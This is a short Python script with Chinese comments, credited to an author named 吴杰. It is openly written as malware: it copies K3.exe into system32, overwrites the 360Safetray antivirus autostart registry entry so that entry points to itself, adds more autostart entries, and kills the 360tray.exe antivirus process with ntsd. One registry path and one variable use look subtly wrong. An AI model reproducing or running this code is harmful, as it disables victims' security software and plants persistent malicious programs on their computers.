文章作者:吴杰
import _winreg
import os
import shutil
#复制自身
shutil.copyfile('K3.exe','c:\WINDOWS\system32\K3.exe')
#把360启动改为自身
run = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
run,"360Safetray",0,_winreg.REG_SZ,
r"C:\WINDOWS\system32\k3.exe"
)
#添加自启动
self = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
run,"k3",0,_winreg.REG_SZ,
r"C:\WINDOWS\system32\k3.exe"
)
#添加所有用户启动
allrun = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"Microsoft\Windows\CurrentVersion\policies\Explorer\Run",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
allrun,"k3",0,_winreg.REG_SZ,
r"C:\WINDOWS\system32\k3.exe"
)
#终止360进程
os.popen("ntsd -c q -pn 360tray.exe cmd")